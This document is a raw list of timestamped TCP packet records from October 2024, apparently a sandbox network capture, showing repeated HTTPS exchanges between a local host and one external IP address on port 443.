Oct 2, 2024 05:19:35.783395052 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.783478975 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.798672915 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.798687935 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.798726082 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.798733950 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.798758984 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.798767090 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.810137033 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.810152054 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.810216904 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.810225964 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.811002970 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.818927050 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.818948984 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.818996906 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.819005966 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.819032907 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.819047928 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.828644991 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.828660011 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.828702927 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.828711033 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.828733921 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.828747988 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.837425947 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.837440968 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.837497950 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.837527037 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.841485977 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.844613075 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.844628096 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.844692945 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.844722033 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.845452070 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.853585005 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.853627920 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.853682995 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.853713036 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.853730917 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.857584953 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.864435911 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.864454031 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.864535093 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.864558935 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.865381956 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.877656937 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.877671003 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.877742052 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.877778053 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.881547928 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.891302109 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.891316891 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.891398907 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.891426086 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.893763065 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.916742086 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.916755915 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.916837931 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.916862011 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.916873932 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.916903973 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.918255091 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.918268919 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.918311119 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.918318033 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.918339968 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.918353081 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.919991016 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.920006990 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.920070887 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.920078039 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.920116901 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.932529926 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.932545900 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.932713032 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.932745934 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.933593988 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.935435057 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.935450077 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.935514927 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.935538054 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.937866926 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.945497990 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.945523024 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.945568085 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.945595980 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.945612907 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.949590921 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.971173048 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.971188068 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.971242905 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.971271992 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.971472025 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.982719898 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.982733011 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.982791901 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.982820988 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.982959986 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.991381884 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.991410971 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.991451025 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.991480112 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:35.991498947 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:35.991664886 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.001256943 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.001271963 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.001317978 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.001344919 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.001368046 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.001599073 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.010061026 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.010081053 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.010144949 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.010171890 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.010365009 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.017252922 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.017266989 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.017329931 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.017355919 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.017498970 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.025773048 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.025787115 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.025862932 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.025887012 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.026035070 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.044738054 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.044763088 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.044828892 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.044856071 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.045012951 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.057524920 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.057538986 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.057586908 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.057601929 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.057631969 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.057648897 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.057661057 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.057708025 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.057871103 CEST	49752	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.057888985 CEST	443	49752	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.058695078 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.058725119 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.058800936 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.059022903 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.059034109 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.730654001 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.730838060 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.731317043 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.731323957 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:36.732996941 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:36.733000994 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.163187981 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.163249969 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.163292885 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.163328886 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.163343906 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.163352966 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.163376093 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.163417101 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.194705963 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.194722891 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.194797039 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.194803953 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.194844961 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.260999918 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.261045933 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.261215925 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.261224031 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.261272907 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.290605068 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.290621996 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.290709019 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.290715933 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.290759087 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.328617096 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.328630924 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.328708887 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.328713894 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.328758955 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.358966112 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.358980894 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.359045029 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.359050989 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.359091997 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.378427029 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.378443003 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.378526926 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.378536940 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.378576040 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.395735025 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.395749092 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.395920038 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.395925045 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.395968914 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.413269043 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.413286924 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.413351059 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.413357019 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.413400888 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.427741051 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.427757025 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.427815914 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.427820921 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.427864075 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.444742918 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.444757938 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.444824934 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.444829941 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.444871902 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.458368063 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.458389997 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.458441019 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.458446026 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.458482981 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.473701000 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.473715067 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.473767996 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.473773956 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.473853111 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.485120058 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.485135078 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.485197067 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.485203028 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.485244989 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.493860960 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.493874073 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.493925095 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.493932009 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.493963003 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.503668070 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.503683090 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.503748894 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.503755093 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.503792048 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.512480021 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.512495041 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.512552977 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.512557983 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.512610912 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.520257950 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.520272970 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.520343065 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.520349026 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.520385027 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.534696102 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.534714937 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.534763098 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.534769058 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.534815073 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.548312902 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.548329115 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.548397064 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.548403978 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.548444986 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.563858986 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.563874006 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.563946962 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.563954115 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.563997030 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.575953007 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.575968981 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.576030016 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.576035976 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.576072931 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.585186958 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.585202932 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.585283041 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.585288048 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.585326910 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.594746113 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.594758987 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.594820023 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.594825029 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.594865084 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.602054119 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.602068901 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.602128029 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.602133036 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.602178097 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.610678911 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.610692978 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.610752106 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.610757113 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.610795021 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.621475935 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.621490955 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.621649027 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.621654987 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.621702909 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.635365963 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.635431051 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.635435104 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.635453939 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.635468960 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.635508060 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.635660887 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.635679007 CEST	443	49753	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.635689974 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.635729074 CEST	49753	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.636513948 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.636538982 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:37.636605978 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.636884928 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:37.636895895 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.281148911 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.281239033 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.281682014 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.281688929 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.283405066 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.283410072 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.709439993 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.709460020 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.709475040 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.709539890 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.709574938 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.709589005 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.709644079 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.740391016 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.740406036 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.740484953 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.740493059 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.740535975 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.807271957 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.807288885 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.807372093 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.807382107 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.807439089 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.837238073 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.837258101 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.837310076 CEST	49754	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:38.837316036 CEST	443	49754	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:38.837361097 CEST	49754	443	192.168.2.4	49.12.197.9
